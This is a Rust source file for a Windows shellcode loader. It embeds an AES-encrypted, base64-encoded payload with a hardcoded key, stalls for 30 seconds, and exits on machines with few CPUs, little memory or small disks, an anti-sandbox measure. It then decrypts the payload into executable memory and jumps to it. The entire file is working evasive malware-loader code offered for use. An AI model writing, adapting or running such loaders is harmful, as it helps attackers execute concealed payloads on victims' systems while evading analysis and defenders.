// #![feature(asm)]
#![feature(pattern)]
// extern crate base64;
// extern crate crypto;
#![windows_subsystem = "windows"]
// use windows::Win32 ::Sys::system_services::VirtualAlloc;
use std::future::Future;
use std::ops::{AddAssign, Sub};
use chrono::{prelude::*, DurationRound, Duration};
use windows::{
    core::*, Win32::Foundation::*, Win32::System::Memory::*, Win32::UI::WindowsAndMessaging::*,
};
use futures::executor;
use clap::{App, Arg};
use hex;
use base64;
// use num_cpus::get;
use sysinfo::{System, SystemExt, DiskExt, Disk};
// use heim::disk as heim_disk;
// use heim::memory as heim_memory;
use crypto::{ symmetriccipher, buffer, aes, blockmodes };
use crypto::buffer::{ ReadBuffer, WriteBuffer, BufferResult };
use std::{arch::asm, io::Bytes};
// pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
// pub const MEM_COMMIT: u32 = 0x1000;
// pub const MEM_RESERVE: u32 = 0x2000;

fn main() {
    // sc放这里
    let s_text = "V+NloJDGSPZVWBrYWGIl+K+SGjHuDilAsCqVSfNckeyj8bBVn1LJ/fYNGDDchnkriswvtSwNYUDKjsCGBtAlDwNOncT3cQINKuVID0+EDDxU+I8+qGlJ4IAedU9Uj/AZoDWsGu5I+6L260XErUlTI6yDeBQSh5ayNo3im5wxCVJw6tSdvgsVi3QdO2m6IqVl26v8Dg1IHwAWG3d+z2pboFgLPm0IwldCfPDUQRfMASj192mFLe3hafRNeBjGP9MIQkoHHlLSTY5FVmt0DOzCc/kkTEU1+rYjCJFXQR0yg6l/Drhba8tg2FtJTO7S5GT8ap3uwVvvgC8x1YnTOmmacCrQwBcxS1Nco/osHBu+DCFQEM2Coh5lbsxKBNd4xf92yiOQJEAbwsRe/11snVc6EP0XgD+jVOcX/HBYVF3UUlXLSQm5Gt0CAUdsMe109Oh4e5+FPsY+OLw7vuzDDd8HDj3WEA1/ym0IUzR2G8EbydoqTX4iAq/udd/Itq+T/UAnMyuAHbUHhGiGl6ybba1HYA==";
    
    // sc 的aes ecb key 16位字符
    let aes_key = "inbuginbuginbug8";
    
    // 最小cpu
    let min_cpu_nums = 4;

    // 最小内存 单位： G
    let min_memory_total = 4;

    // 最小磁盘大小 单位：G
    let min_disk_total = 100;

    // 延迟多少秒开始
    let _delay = 30;
    
    let start_time = Local::now();
    
    let mut current_time;
    while true{
        current_time = Local::now();
        let diff_time = current_time - start_time;
        println!("{}", "暂停");

        if diff_time.num_seconds() > _delay{
            break;
        }
    }
    println!("{}", "开始");
    let mut sys = sysinfo::System::new_all();

    // println!("C: {}", sys.cpus().len());
    // 判断CPU
    if sys.cpus().len()< min_cpu_nums{
        return
    }

    let memory_total = sys.total_memory() / 1024 / 1024 / 1024 + 1;
    // println!("M: {}", memory_total);

    // 判断内存
    if memory_total < min_memory_total{
        return
    }

    //判断磁盘
    let mut disk_total = 0;
    for disk in sys.disks() {
        disk_total += disk.total_space();
    }
    disk_total = disk_total / 1024 / 1024 / 1024;
    // println!("{}",disk_total);
    if disk_total < min_disk_total{
        return
    }

            
  




    let matches = App::new("windows_service")
        .arg(
            Arg::new("file")
                .short('f')
                
                // .about("shellcode path")
                .takes_value(true)
                // .required(true),
        )
        .arg(
            Arg::new("breakpoint")
                .short('b')
                // .about("set breakpoint in debugger"),
        )
        .arg(
            Arg::new("offset")
                .short('o')
                // .about("shellcode offset")
                .takes_value(true),
        )
        .get_matches();

    let set_breakpoint = matches.is_present("breakpoint");
    if set_breakpoint {
        // println!("[*] Breakpoint flag set!");
    }

    let sc_text = s_text.to_string();
    let b64 = base64::decode(sc_text).unwrap();

    println!("{}", b64.len());

    let mut aes_ecb_decode = crypto::aes::ecb_decryptor(crypto::aes::KeySize::KeySize128, aes_key.to_string().as_bytes(), crypto::blockmodes::PkcsPadding);
    let mut final_result = Vec::<u8>::new();
    let mut buffer = [0; 4096];
    let mut aes_out = crypto::buffer::RefWriteBuffer::new(&mut buffer);
    let mut aes_input = crypto::buffer::RefReadBuffer::new(&b64);
    loop {
        let mut aes_result =  aes_ecb_decode.decrypt(&mut aes_input, &mut aes_out, true);
        final_result.extend(aes_out.take_read_buffer().take_remaining().iter().map(|&i| i));
        match aes_result
        {
            Ok(crypto::buffer::BufferResult::BufferUnderflow) => break,
            Ok(crypto::buffer::BufferResult::BufferOverflow) => {},
            _ => {}
        };
    
    }
    
    // let fp: String = matches.value_of_t("file").unwrap_or_else(|e| e.exit());
    let offset: u64 = match matches.value_of("offset") {
        Some(offset) => {
            if offset.find("0x") == Some(0) {
                let without_prefix = offset.trim_start_matches("0x");
                u64::from_str_radix(without_prefix, 16).unwrap_or(0)
            } else {
                u64::from_str_radix(offset, 10).unwrap_or(0)
            }
        }
        _ => 0,
    };

    let debug_text = String::from_utf8(final_result).unwrap();
    println!("{}", debug_text );
    
    // let bytes = base64::decode(String::from_utf8(final_result).unwrap()).unwrap();
    let bytes = hex::decode(debug_text).unwrap();
    let contents = bytes;
    println!("{}", contents.len());
    let flen = contents.len();

    if flen as u64 <= offset {
        // println!(
        //    "[-] Offset too big, offset: {}, file length: {}",
        //    offset, flen
        //);
        return;
    }
    let new_buf = unsafe {
        VirtualAlloc(
            std::ptr::null_mut(),
            flen,
             MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        )
    };
    if new_buf == std::ptr::null_mut() {
        // println!("[-] Failed to allocate memory");
        return;
    }
    let new_buf_ptr: *mut u8 = new_buf as *mut u8 as _;
    unsafe { std::ptr::copy_nonoverlapping(contents.as_ptr(), new_buf_ptr, flen) };
    // println!(
    //    "[*] Starting jmp to shellcode at offset 0x{:x} (base virtual address: {:p})",
     //   offset, new_buf_ptr
    //);
    unsafe {
        let jmp_target = new_buf.offset(offset as isize);
        if set_breakpoint {
            asm!("int 3");
        }
        asm!("jmp {}",in(reg) jmp_target)
    };
}

